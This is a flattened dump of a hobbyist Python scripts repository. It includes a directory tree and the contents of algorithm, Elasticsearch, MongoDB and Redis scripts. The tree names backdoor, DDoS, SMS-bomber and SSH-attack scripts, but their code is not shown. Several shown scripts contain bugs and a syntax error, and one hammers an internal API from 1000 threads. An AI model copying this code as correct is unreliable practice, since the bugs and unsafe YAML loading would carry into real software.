├── .DS_Store ├── .gitignore ├── Algorithm ├── 1.py ├── Binary_Search.py ├── Sort │ ├── Shell_Sort.py │ ├── __init__.py │ ├── bubble_sort.py │ ├── insert_sort.py │ ├── my_sort.py │ └── quick_sort.py ├── __init__.py ├── get_message.py ├── interface_test.py ├── list.py ├── node_assignment.py ├── test.yml ├── test_yml.py └── we_chat │ └── money.py ├── Common_operation ├── createlist.py ├── duplicate_removal.py ├── excel_data_clear.py ├── tesat_data.py └── test_cpi.py ├── Data_base ├── ETCD_project │ └── ETCD_API.py ├── Elasticseach_project │ ├── 1.py │ ├── ES_batch_deal.py │ ├── Es_data.py │ ├── Es_data.pyc │ ├── Es_data2.pyc │ ├── Es_data3.pyc │ ├── Es_deal.py │ ├── Es_operating.py │ ├── create_data.py │ ├── create_data.pyc │ ├── create_testdata.py │ ├── monlog.log │ ├── test.log │ └── test_es_batch.py ├── Mongodb_project │ └── test_mongo.py └── Redis_project │ ├── batch_redis.py │ ├── redis_class.py │ └── redis_deal.py ├── Deployment_scripts ├── get_server_time.py ├── ssh_shell.py ├── test.py └── thread_file.py ├── Encrypt_work ├── simple_password.py └── user_name.py ├── File_operation ├── .DS_Store ├── FIle_delete │ ├── File_info.py │ ├── cleatr_file.py │ └── tes.py ├── File_check │ ├── create_Path.py │ ├── file.log │ ├── file.txt │ ├── pool_map.py │ ├── que.py │ ├── rediss.py │ └── thread.py ├── check.json ├── checkDiskBadSectors.sh ├── checkDiskBadSectors.tar.gz ├── checkDiskBadSectors │ ├── checkDiskBadSectors.py │ ├── create_file.py │ └── libpycall.so ├── check_file │ ├── checkDiskBadSectors.py │ ├── check_file.py │ ├── check_file_2.py │ ├── check_file_repeat.py │ ├── install.sh │ ├── libpycall.so │ ├── multi_cp.c │ ├── rdfile.c │ ├── redfile.py │ ├── repeat.py │ └── test │ │ ├── file.log │ │ ├── file.txt │ │ ├── libpycall.so │ │ ├── rd.c │ │ ├── read.py │ │ └── redfile.py ├── create_file │ ├── cerate_file.py │ ├── creat_file2.py │ ├── create_dir.py │ └── create_file2.py ├── ergodic_dir │ └── test.py ├── file_test │ ├── File_6.py │ ├── duoxiancheng.py │ ├── example.py │ ├── file.log │ ├── file_1.py │ ├── file_2.py │ ├── file_3.py │ ├── file_4.py │ ├── file_example.py │ ├── file_log.py │ ├── files.py │ ├── new_fike.py │ ├── new_file.py │ └── processing_example.py ├── pool_map │ ├── Directory.log │ ├── Directory.txt │ ├── check.py │ └── check_file.py ├── project │ ├── check-files使用手册.md │ ├── checkDiskBadSectors.py │ ├── checkDiskBadSectors.sh │ ├── checkDiskBadSectors.tar.gz │ └── create_file.py ├── read_file │ ├── checkDiskBadSectors.sh │ ├── checkDiskBadSectors.tar.gz │ ├── checkDiskBadSectors │ │ ├── checkDiskBadSectors.py │ │ └── libpycall.so │ ├── create_file.py │ └── read_files使用手册.md ├── read_files使用手册.md └── repeat │ ├── __init__.py │ ├── checksum.py │ ├── diskwalk.py │ ├── find_dupes.py │ ├── main.py │ ├── pip │ └── 检测重复文件.md ├── Log_server ├── Log_test │ └── log_type.py ├── README.md ├── __init__.py ├── access-log ├── monitor.py └── test_monitor │ ├── __init__.py │ ├── test_log.py │ └── test_write.py ├── Monitoring ├── Monitor │ ├── Check │ │ ├── __init__.py │ │ ├── check_cpu.py │ │ ├── check_memory.py │ │ ├── check_process.py │ │ └── check_threading.py │ ├── Log │ │ ├── __init__.py │ │ └── monitor_log.py │ ├── Monitor │ │ ├── Monitor_process.py │ │ ├── __init__.py │ │ └── setting.json │ ├── __init__.py │ ├── main.py │ └── operation │ │ ├── Modify_configuration.py │ │ ├── __init__.py │ │ ├── get_cpu_top.py │ │ ├── get_memory_top.py │ │ ├── get_setting_monitor.py │ │ └── run.py ├── Monitor_systemd │ ├── Monitor_install.sh │ ├── custom │ │ ├── custom.py │ │ └── log.py │ ├── details │ │ ├── __init__.py │ │ ├── acquisition.py │ │ └── log.py │ ├── package │ │ ├── python-prettytable-0.7.2-11.fc27.noarch.rpm │ │ └── python2-psutil-5.4.3-4.fc28.x86_64.rpm │ ├── process_msg │ │ ├── 123.tmp │ │ ├── __init__.py │ │ ├── log.py │ │ └── process_msg.py │ ├── service │ │ ├── custom.service │ │ ├── details.service │ │ └── process_msg.service │ ├── setting │ │ └── setting.json │ ├── 使用手册 │ └── 说明 ├── Monitor_test │ ├── CPU_memeory.py │ ├── __init__.py │ ├── disk_memory.py │ ├── example.py │ ├── network_memory.py │ ├── network_use.py │ ├── obtain_process.py │ ├── process_cpu.py │ ├── process_memory.py │ └── service_memmory.py ├── Monitoring_system │ ├── __init__.py │ ├── check_process.py │ ├── get_process.py │ ├── moitoring_log.py │ ├── monitoring_threading.py │ ├── process_getput.py │ └── process_getput2.py └── monitor_to │ ├── monitor.py │ └── sysinfo.log ├── Network ├── RPC_Server │ ├── Rabbitmq_rpc │ │ ├── client.py │ │ └── server.py │ └── Simplexmlrpc │ │ ├── client.py │ │ └── server.py ├── connect2.py ├── connection-example.py ├── imglist.txt ├── network_test.py └── tk.py ├── Network_security ├── Attack │ └── attack_html.py ├── Ip_detection │ └── FInd_ip.py ├── NetCat │ └── netcat.py ├── Network_base │ ├── Tcp_client.py │ ├── Tcp_server.py │ └── Udp.py ├── Network_port │ └── scan_port.py ├── PC_security │ └── mk.py ├── SSH_attack │ └── paramiko_test.py ├── TCP_backdoor │ ├── Quick_Tcp.py │ ├── attack_tcp.py │ ├── ddos_attack.py │ └── reverseTcp.py └── log4j-fix │ ├── log4j-fix.rar │ ├── log4j-fix.sh │ └── log4j2-17 │ ├── log4j-1.2-api-2.17.0.jar │ ├── log4j-api-2.17.0.jar │ ├── log4j-core-2.17.0.jar │ ├── log4j-slf4j-impl-2.17.0.jar │ ├── log4j-slf4j18-impl-2.17.0.jar │ ├── log4j-to-slf4j-2.17.0.jar │ └── log4j-web-2.17.0.jar ├── Operation ├── Ceph_RGW │ └── RGW_work.py ├── Selenium_Test_work │ ├── Create.py │ ├── Create_work.py │ ├── Init_work.py │ ├── Start_chrome.py │ ├── debug.log │ ├── init.py │ └── login.py ├── back │ ├── back_up.tar.gz │ ├── install.py │ └── python-paramiko-2.1.1-5.el7.noarch.rpm ├── back_up │ ├── __init__.py │ ├── ssh_back_up.py │ └── tool │ │ ├── Node_back_up.py │ │ ├── __init__.py │ │ ├── back_up.py │ │ ├── etcd_backup.py │ │ ├── ip.json │ │ ├── service.json │ │ ├── setting.json │ │ ├── ssh.py │ │ └── sysdb_rebuild.py ├── balance │ └── simple_balance.py ├── email │ └── create_email.py ├── install_file │ └── get_iso.py ├── ncm │ └── ncm_mp3.py ├── rsync │ └── rsyc.py ├── server_scp │ ├── download_file_server.py │ ├── ssh.py │ └── thread_ssh.py ├── system_info │ └── system_info.py └── wecheat_rebot │ ├── iceht_tulin.py │ ├── rebot.py │ └── wecheat.md ├── Proxy └── proxy.py ├── Python_safe ├── Arp_work.py ├── BackDoor │ ├── README.md │ ├── client.py │ └── server.py ├── Get_IP.py ├── SSH_pexpect.py ├── TCP_hacker.py ├── Tcp_Banner.py ├── Tcp_Thread.py ├── Tcp_nmap.py ├── Tcp_socket.py └── zombie_ssh.py ├── README.md ├── Spider ├── Practical │ ├── __init__.py │ └── train_pickle │ │ ├── __init__.py │ │ └── train_file.py ├── Scrapy_project │ ├── __init__.py │ └── spider │ │ ├── Spider_project │ │ ├── Fangtianxia │ │ │ ├── __init__.py │ │ │ └── fnag.py │ │ └── __init__.py │ │ ├── __init__.py │ │ └── homecrawl │ │ ├── __init__.py │ │ ├── homecrawl │ │ ├── __init__.py │ │ ├── items.py │ │ ├── middlewares.py │ │ ├── pipelines.py │ │ ├── settings.py │ │ └── spiders │ │ │ ├── __init__.py │ │ │ └── home_spider.py │ │ └── scrapy.cfg ├── Spider_project │ ├── 58_spider │ │ ├── camouflage.py │ │ ├── deal_with_url.py │ │ ├── get_message.py │ │ ├── main.py │ │ └── storage.py │ ├── JD_spider │ │ ├── __init__.py │ │ └── spider_main.py │ ├── __init__.py │ └── spider_toor │ │ ├── get_ticket.py │ │ ├── login.py │ │ └── piao.py ├── Spider_simple │ ├── check_spider.py │ ├── first_spider.py │ ├── ladyer_spider.py │ └── set_spider.py ├── __init__.py ├── easy_img │ └── logo.jpeg ├── first_spider │ ├── 1.py │ ├── get_data.py │ ├── spider.py │ ├── spider_test.py │ └── tt.py ├── out_img │ ├── logo-binary.jpg │ ├── logo-clearBorder.jpg │ ├── logo-cutting-0.jpg │ ├── logo-cutting-1.jpg │ ├── logo-cutting-2.jpg │ ├── logo-cutting-3.jpg │ ├── logo-cutting-4.jpg │ ├── logo-interferencePoint.jpg │ └── logo-interferenceline.jpg └── ticket_tour │ ├── 1.xls │ ├── cnn_yanzheng.py │ ├── code_ya.py │ ├── get_excel.py │ ├── login.py │ ├── random_js.py │ ├── tt.py │ ├── valcode.png │ └── yanzheng_code.py ├── Test_data_generation ├── CN_name │ ├── chinese_name.py │ └── simple_chinese_name.py ├── Email_address │ └── careat_email.py ├── bank_card │ ├── bank_card.py │ ├── card_code │ └── chinese_bank_card.py ├── id_card │ ├── Id_card_number.py │ ├── id_code.txt │ └── id_code2.txt └── message │ ├── Id_card_number.py │ ├── bank_card.py │ ├── card_code │ ├── chinese_bank_card.py │ ├── chinese_name.py │ ├── example.py │ ├── id_code.txt │ ├── simple_chinese_name.py │ └── test_bank_card.py ├── Thread_work ├── .DS_Store ├── Asynico_work │ ├── simple_asyncio.py │ └── yield_work.py ├── Multithreading_work │ ├── first_thread.py │ ├── test_thread.py │ └── thread_lock.py ├── Queue_work │ ├── __pycache__ │ │ └── queue.cpython-37.pyc │ └── queue_work.py ├── Thread_Work │ ├── Non_block.py │ ├── Pro_Con_model.py │ ├── pool_lock.py │ ├── queue_con_model.py │ └── simple_work.py ├── Thread_attack │ ├── attack.py │ ├── geckodriver.log │ ├── smsbomber.py │ └── thread_attack.py ├── Thread_run_test │ ├── .DS_Store │ ├── Thread_example.py │ ├── Thread_fork.py │ └── test.log └── Tread_monintor_cpu │ └── thread_run.py ├── Time_work ├── function_timeout │ ├── Decorator.py │ ├── signal_test.py │ └── simple_timeout.py └── timing_execution.py ├── Unit_test ├── Test_api │ └── thread_api.py ├── analysis_file │ ├── __init__.py │ └── read_conf_file │ │ ├── __init__.py │ │ ├── read_conf_file.py │ │ ├── read_conf_file1.py │ │ ├── test.conf │ │ └── test2.conf ├── example │ ├── ep.py │ ├── test.py │ └── test_ep.py ├── test_project │ └── 1.py └── unit.md └── Work_project ├── EXCEL ├── Create_Excel.py ├── New_create_excel │ ├── create_excel.py │ ├── create_work.py │ └── test_work.py ├── Read_excel.py ├── Test_work_excel │ ├── create_excel.py │ ├── create_ncrow.py │ ├── get_message.py │ └── read_xls.py ├── Write_excel.py ├── res.py └── work │ ├── Write_excel.py │ └── res.py ├── Email-work ├── Smtp-163.py └── Smtp-qq.py ├── Excel_GUI └── test_gui.py └── Work.md /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | 3 | -------------------------------------------------------------------------------- /Algorithm/1.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | test = ['10.0.6.214', '10.0.6.215', '10.0.6.216'] 5 | test.append("10.0.6.217") 6 | print(test) -------------------------------------------------------------------------------- /Algorithm/Binary_Search.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | # 针对有序查找表的二分查找算法 4 | # 时间复杂度O(log(n)) 5 | 6 | def binary_search(lis, key): 7 | low = 0 8 | high = len(lis) - 1 9 | time = 0 10 | while low < high: 11 | time += 1 12 | mid = int((low + high) / 2) 13 | if key < lis[mid]: 14 | high = mid - 1 15 | elif key > lis[mid]: 16 | low = mid + 1 17 | else: 18 | # 打印折半的次数 19 | print("times: %s" % time) 20 | return mid 21 | print("times: %s" % time) 22 | return False 23 | 24 | 25 | if __name__ == '__main__': 26 | LIST = [1, 5, 7, 8, 22, 54, 99, 123, 200, 222, 444] 27 | result = binary_search(LIST, 99) 28 | print(result) -------------------------------------------------------------------------------- /Algorithm/Sort/Shell_Sort.py: -------------------------------------------------------------------------------- 1 | def shell_sort(lists): 2 | count = len(lists) 3 | step = 2 4 | group = count / step 5 | while group > 0: 6 | for i in range(0, group): 7 | j = i + group 8 | while j < count: 9 | k = j - group 10 | key = lists[j] 11 | while k >= 0: 12 | if lists[k] > key: 13 | lists[k + group] = lists[k] 14 | lists[k] = key 15 | k -= group 16 | j += group 17 | group /= step 18 | return lists 19 | 20 | print(shell_sort([1,2,3,4,5,6])) -------------------------------------------------------------------------------- /Algorithm/Sort/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" -------------------------------------------------------------------------------- /Algorithm/Sort/bubble_sort.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | def bubble_sort(lists): 5 | # 冒泡排序 6 | count = len(lists) 7 | for i in range(0, count): 8 | for j in range(i + 1, count): 9 | if lists[i] > lists[j]: 10 | lists[i], lists[j] = lists[j], lists[i] 11 | return lists 12 | 13 | print(bubble_sort([1,2,3,4])) -------------------------------------------------------------------------------- /Algorithm/Sort/insert_sort.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | # 插入排序 4 | 5 | def insert_sort(lists): 6 | count = len(lists) #统计总数 7 | for i in range(1, count): #遍历 8 | key = lists[i] 9 | j = i - 1 10 | while j >= 0: 11 | if lists[j] > key: 12 | lists[j + 1] = lists[j] 13 | lists[j] = key 14 | j -= 1 15 | return lists 16 | 17 | list = [23,33,123,456,123] 18 | print insert_sort(list) -------------------------------------------------------------------------------- /Algorithm/Sort/my_sort.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" 3 | 4 | """ 5 | 对排序的自我理解: 6 | 什么是排序?就是每个元素互相比对,比大小,大在后,小在前 7 | 如何进行排序?首先需要明确需要排序的元素,一般都是列表,排序方法很多,一般都是冒泡,快排之类。 8 | 我如何理解?一定要快,一定要稳。 9 | """ 10 | 11 | def my_sout(**kwargs): 12 | pass -------------------------------------------------------------------------------- /Algorithm/Sort/quick_sort.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | def quick_sort(lists, left, right): 4 | # 快速排序 5 | if left >= right: 6 | return lists 7 | key = lists[left] 8 | low = left 9 | high = right 10 | while left < right: 11 | while left < right and lists[right] >= key: 12 | right -= 1 13 | lists[left] = lists[right] 14 | while left < right and lists[left] <= key: 15 | left += 1 16 | lists[right] = lists[left] 17 | lists[right] = key 18 | quick_sort(lists, low, left - 1) 19 | quick_sort(lists, left + 1, high) 20 | return lists 21 | 22 | print(quick_sort([2,3,4,1,2,43,6],1,2)) -------------------------------------------------------------------------------- /Algorithm/__init__.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = "Yemilice_lau" -------------------------------------------------------------------------------- /Algorithm/get_message.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import yaml 5 | 6 | filename = open('test.yml') 7 | y = yaml.load(filename) 8 | print(y["ip_list"]) 9 | # with open('test.yml') as f: 10 | # doc = yaml.load(f) 11 | # ip_list = doc['ip_list'] 12 | # print(ip_list) 13 | # ip_list.remove("10.0.6.217") 14 | # doc['ip_list'] = ip_list 15 | # 16 | # with open('test.yml', 'w') as f: 17 | # yaml.dump(doc, f, default_flow_style=False, encoding='utf-8', allow_unicode=True) 18 | -------------------------------------------------------------------------------- /Algorithm/interface_test.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import urllib2 5 | import requests 6 | import json 7 | import datetime 8 | from time import ctime,sleep 9 | import threading 10 | 11 | 12 | def dir_get(): 13 | data = {'dirpath':'infinityfs1,1,123,1'} 14 | r = requests.post(url="http://10.0.20.77:9898/filesystem/quota/dir/get", data=data) 15 | a = r.json() 16 | d1 = json.dumps(a) 17 | return d1 18 | 19 | 20 | def dir_set(): 21 | data = {'dirpath':'infinityfs1,1,123,1', 22 | 'quotavalue':'-1', 23 | 'quotaunit':'B'} 24 | r = requests.post(url="http://10.0.20.77:9898/filesystem/quota/dir/set", data=data) 25 | a = r.json() 26 | d1 = json.dumps(a) 27 | return d1 28 | 29 | 30 | def t1(func): 31 | for i in range(1000): 32 | starttime = datetime.datetime.now() 33 | s = dir_set() 34 | a = dir_get() 35 | endtime = datetime.datetime.now() 36 | print "round:%s, tread number:%s, tread number:%s, returnValue:%s,time:%f" % ( 37 | i, func, a, s, (endtime - starttime).microseconds / 1000) 38 | sleep(1) 39 | 40 | 41 | if __name__ == '__main__': 42 | threads = [] 43 | for i in range(1000): 44 | name = "t%s" % (i) 45 | name = threading.Thread(target=t1, args=(i,)) 46 | threads.append(name) 47 | 48 | for t in threads: 49 | t.setDaemon(True) 50 | t.start() 51 | t.join() 52 | -------------------------------------------------------------------------------- /Algorithm/list.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | # 最基础的遍历无序列表的查找算法 3 | # 时间复杂度O(n) 4 | 5 | def sequential_search(lis, key): 6 | length = len(lis) 7 | for i in range(length): 8 | if lis[i] == key: 9 | return i 10 | else: 11 | return False 12 | 13 | 14 | if __name__ == '__main__': 15 | LIST = [1, 5, 8, 123, 22, 54, 7, 99, 300, 222] 16 | result = sequential_search(LIST, 123) 17 | print(result) 18 | -------------------------------------------------------------------------------- /Algorithm/node_assignment.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | """ 6 | 节点分配代码 7 | 节点列表 8 | 节点角色 9 | 根据数量随机节点角色 10 | {{node:"node1",part="master"},{node:"node2",part="data"}} 11 | """ 12 | 13 | import yaml 14 | 15 | def write_yml(node, node_list): 16 | fr = open('elasticsearch.yml','w') 17 | data = { 18 | 'path.logs': '/var/log/elasticsearch', 19 | 'discovery.zen.minimum_master_nodes': 1, 20 | 'network.bind_host': '::', 21 | 'node.data': True, 22 | 'discovery.zen.ping.unicast.hosts': node_list, 23 | 'http.port': 9200, 24 | 'http.cors.enabled': True, 25 | 'network.host': '10.0.6.244', 26 | 'cluster.name': 'Es_test', 27 | 'path.data': '/var/lib/elasticsearch', 28 | 'transport.tcp.port': 9300, 29 | 'http.cors.allow-origin': '*', 30 | 'node.name': 'es_{node}'.format(node=node), 31 | 'node.master': True 32 | } 33 | 34 | yaml.safe_dump(data, fr, default_flow_style=False, encoding='utf-8', allow_unicode=True) 35 | 36 | 37 | write_yml("node1",["10.0.6.244","10.0.6.245"]) 38 | -------------------------------------------------------------------------------- /Algorithm/test.yml: -------------------------------------------------------------------------------- 1 | ip: 10.0.6.214 2 | ip_list: 3 | - 10.0.6.214 4 | - 10.0.6.215 5 | - 10.0.6.216 6 | node: node1 7 | -------------------------------------------------------------------------------- /Algorithm/test_yml.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | 5 | import yaml 6 | 7 | def write_yml(node, node_list): 8 | fr = open('elasticsearch.yml','w') 9 | data = { 10 | "filebeat.inputs": 11 | } 12 | 13 | yaml.safe_dump(data, fr, default_flow_style=False, encoding='utf-8', allow_unicode=True) 14 | 15 | 16 | write_yml("node1",["10.0.6.244","10.0.6.245"]) 17 | -------------------------------------------------------------------------------- /Algorithm/we_chat/money.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'Yemilice_lau' 3 | 4 | import random 5 | 6 | 7 | def redbags(money, num): 8 | while True: 9 | choice = random.sample(range(1, int(money * 100)), num - 1) 10 | choice.extend([0, money*100]) 11 | choice.sort() 12 | for i in range(len(choice)-1): 13 | if (choice[i+1] - choice[i]) > (money * 100 / num * 2): #这里控制红包最大的额度 14 | break 15 | else: 16 | return [(choice[i + 1] - choice[i]) / 100 for i in range(num)],choice 17 | 18 | 19 | 20 | print(redbags(100, 10)) -------------------------------------------------------------------------------- /Common_operation/createlist.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = "lau.wenbo" 4 | 5 | 6 | a = [1,2] 7 | b = [3,4] 8 | c = [5,6] 9 | 10 | if __name__ == "__main__": 11 | # 方法1 12 | print(sum((a,b,c),[])) 13 | # 方法2 14 | print(a + b + c) 15 | # 方法3 16 | -------------------------------------------------------------------------------- /Common_operation/excel_data_clear.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | """ 5 | 处理Excel数据,对Excel数据进行清洗 6 | """ -------------------------------------------------------------------------------- /Common_operation/test_cpi.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import psutil 5 | import os, datetime, time 6 | 7 | 8 | def getMemCpu(): 9 | data = psutil.virtual_memory() 10 | total = data.total # 总内存,单位为byte 11 | free = data.available # 可以内存 12 | memory = "Memory usage:%d" % (int(round(data.percent))) + "%" + " " 13 | cpu = "CPU:%0.2f" % psutil.cpu_percent(interval=1) + "%" 14 | return memory + cpu 15 | 16 | 17 | def main(): 18 | while (True): 19 | info = getMemCpu() 20 | print info 21 | time.sleep(0.2) 22 | print info + "\b" * (len(info) + 1), 23 | 24 | 25 | if __name__ == "__main__": 26 | main() -------------------------------------------------------------------------------- /Data_base/ETCD_project/ETCD_API.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'Yemilice_lau' 4 | 5 | import etcd 6 | 7 | 8 | def __init__(self, 9 | host='127.0.0.1', 10 | port=4001, 11 | srv_domain=None, 12 | version_prefix='/v2', 13 | read_timeout=60, 14 | allow_redirect=True, 15 | protocol='http', 16 | cert=None, 17 | ca_cert=None, 18 | username=None, 19 | password=None, 20 | allow_reconnect=False, 21 | use_proxies=False, 22 | expected_cluster_id=None, 23 | per_host_pool_size=10 24 | ): 25 | client = etcd.Client( 26 | host='127.0.0.1', 27 | port=4003, 28 | allow_reconnect=True, 29 | protocol='https', ) -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/ES_batch_deal.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | ''' 5 | batch deal data for es 6 | ''' 7 | 8 | from elasticsearch import Elasticsearch 9 | from elasticsearch import helpers 10 | import datetime 11 | 12 | es = Elasticsearch(hosts="10.0.6.118",port=9200) 13 | 14 | actions = [] 15 | 16 | f = open('monlog.log') 17 | i = 1 18 | for line in f: 19 | v_items = line.split(' ', 6) 20 | fields = line.split('\t') 21 | try: 22 | action = { 23 | "_index": "monlog", 24 | "_type": "monlog", 25 | "_id": i, 26 | "_source": { 27 | "time":line.split("T")[0], 28 | "hostname": v_items[1], 29 | "user": v_items[3], 30 | "module": v_items[4], 31 | "level": v_items[5], 32 | "message": v_items[6].split('\n')[0] 33 | } 34 | } 35 | except: 36 | continue 37 | i += 1 38 | actions.append(action) 39 | 40 | 41 | data = len(actions) 42 | print("开始导入{data}条数据.........".format(data=data)) 43 | starttime = datetime.datetime.now() 44 | helpers.bulk(es, actions,request_timeout=100,raise_on_error=True) 45 | endtime = datetime.datetime.now() 46 | print("导入{data}数据的时间是{times}".format(data = data, times=(endtime - starttime).seconds)) 47 | -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/Es_data.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Data_base/Elasticseach_project/Es_data.pyc -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/Es_data2.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Data_base/Elasticseach_project/Es_data2.pyc -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/Es_data3.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Data_base/Elasticseach_project/Es_data3.pyc -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/create_data.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | from faker import Faker 5 | from elasticsearch import Elasticsearch 6 | from elasticsearch import helpers 7 | import datetime 8 | from multiprocessing import Pool 9 | 10 | 11 | fake = Faker(locale='zh_CN') 12 | # name = fake.name() 13 | # address = fake.city() 14 | 15 | es = Elasticsearch(hosts="10.0.6.247",port=9200) 16 | 17 | def work(): 18 | actions = [] 19 | 20 | # f = open('monlog.log') 21 | i = 1 22 | for line in range(1,4): 23 | try: 24 | action = { 25 | "_index": "user_tt", 26 | "_type": "message", 27 | "_source": { 28 | "name":fake.name(), 29 | "address":fake.city(), 30 | "message":{ 31 | "from":fake.street_name(), 32 | "province":fake.province() 33 | } 34 | } 35 | } 36 | except: 37 | continue 38 | print action 39 | i += 1 40 | actions.append(action) 41 | 42 | 43 | data = len(actions) 44 | print("开始导入{data}条数据.........".format(data=data)) 45 | starttime = datetime.datetime.now() 46 | helpers.bulk(es, actions,request_timeout=100,raise_on_error=True) 47 | endtime = datetime.datetime.now() 48 | print("导入{data}数据的时间是{times}".format(data = data, times=(endtime - starttime).seconds)) 49 | 50 | if __name__=='__main__': 51 | p = Pool(4) 52 | for i in range(10): 53 | p.apply_async(work(), args=(i,)) 54 | print('Waiting for all subprocesses done...') 55 | p.close() 56 | p.join() 57 | print('All subprocesses done.') 58 | 59 | -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/create_data.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Alexanderklau/Amusing_python/9ce288eac7eeabb0e21f62936b6eb5ac2a0c934e/Data_base/Elasticseach_project/create_data.pyc -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/create_testdata.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | import datetime 5 | import random 6 | 7 | from multiprocessing import Pool 8 | import time 9 | 10 | 11 | def mycallback(x): 12 | with open('./monlog.log', 'a+') as f: 13 | f.writelines(str(x) + '\n') 14 | 15 | 16 | def sayHi(num): 17 | node_list = ["node1", "node2", "node3"] 18 | times = str(datetime.datetime.now()).replace(" ", "T") 19 | level = ["WARNING", "ERROR", "NOTICE"] 20 | cluster = ["cpu", "cluster", "memeory", "disk"] 21 | message = "journal: system {cluster} {level} {clusters} load is overloaded".format( 22 | cluster=random.choice(cluster), level=random.choice(level),clusters=random.choice(cluster)) 23 | w = times + " " + message 24 | return w 25 | 26 | 27 | if __name__ == '__main__': 28 | e1 = time.time() 29 | pool = Pool() 30 | 31 | for i in range(10): 32 | pool.apply_async(sayHi, (i,), callback=mycallback) 33 | 34 | 35 | pool.close() 36 | pool.join() 37 | e2 = time.time() 38 | print float(e2 - e1) -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/monlog.log: -------------------------------------------------------------------------------- 1 | 2019-01-04T11:33:04.186840 journal: system disk NOTICE memeory load is overloaded 2 | 2019-01-04T11:33:04.186894 journal: system cpu ERROR cpu load is overloaded 3 | 2019-01-04T11:33:04.187157 journal: system disk NOTICE cluster load is overloaded 4 | 2019-01-04T11:33:04.187348 journal: system disk WARNING memeory load is overloaded 5 | 2019-01-04T11:33:04.187524 journal: system memeory WARNING memeory load is overloaded 6 | 2019-01-04T11:33:04.187547 journal: system cluster ERROR cpu load is overloaded 7 | 2019-01-04T11:33:04.187379 journal: system cluster ERROR cpu load is overloaded 8 | 2019-01-04T11:33:04.187422 journal: system disk ERROR memeory load is overloaded 9 | 2019-01-04T11:33:04.187476 journal: system disk NOTICE disk load is overloaded 10 | 2019-01-04T11:33:04.187621 journal: system cpu ERROR memeory load is overloaded 11 | -------------------------------------------------------------------------------- /Data_base/Elasticseach_project/test_es_batch.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | __author__ = 'lau.wenbo' 3 | 4 | from datetime import datetime 5 | from elasticsearch import Elasticsearch 6 | import elasticsearch.helpers 7 | import random 8 | 9 | es = Elasticsearch("10.0.6.118:9200") 10 | package = [] 11 | for i in range(100000): 12 | row = { 13 | "@timestamp": datetime.now().strftime("%Y-%m-%dT%H:%M:%S.000+0800"), 14 | "http_code": "404", 15 | "count": random.randint(1, 10000) 16 | } 17 | package.append(row) 18 | 19 | print(len(package)) 20 | 21 | actions = [ 22 | { 23 | '_op_type': 'index', 24 | '_index': "http_code", 25 | '_type': "error_code", 26 | '_source': d 27 | } 28 | for d in package 29 | ] 30 | 31 | 32 | elasticsearch.helpers.bulk(es, actions) -------------------------------------------------------------------------------- /Data_base/Mongodb_project/test_mongo.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | __author__ = 'lau.wenbo' 4 | 5 | 6 | from pymongo import MongoClient 7 | 8 | 9 | conn = MongoClient("192.168.1.4", 27017) 10 | 11 | db = conn.mydb 12 | 13 | my_set = db.test_set 14 | 15 | my_set.insert({"name":"zhangsan","age":18}) 16 | 17 | for i in my_set.find(): 18 | print(i) -------------------------------------------------------------------------------- /Data_base/Redis_project/redis_deal.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | 4 | __author__ = "lau.wenbo" 5 | 6 | 7 | from redis import StrictRedis,ConnectionPool 8 | 9 | # 使用默认方式连接到数据库 10 | 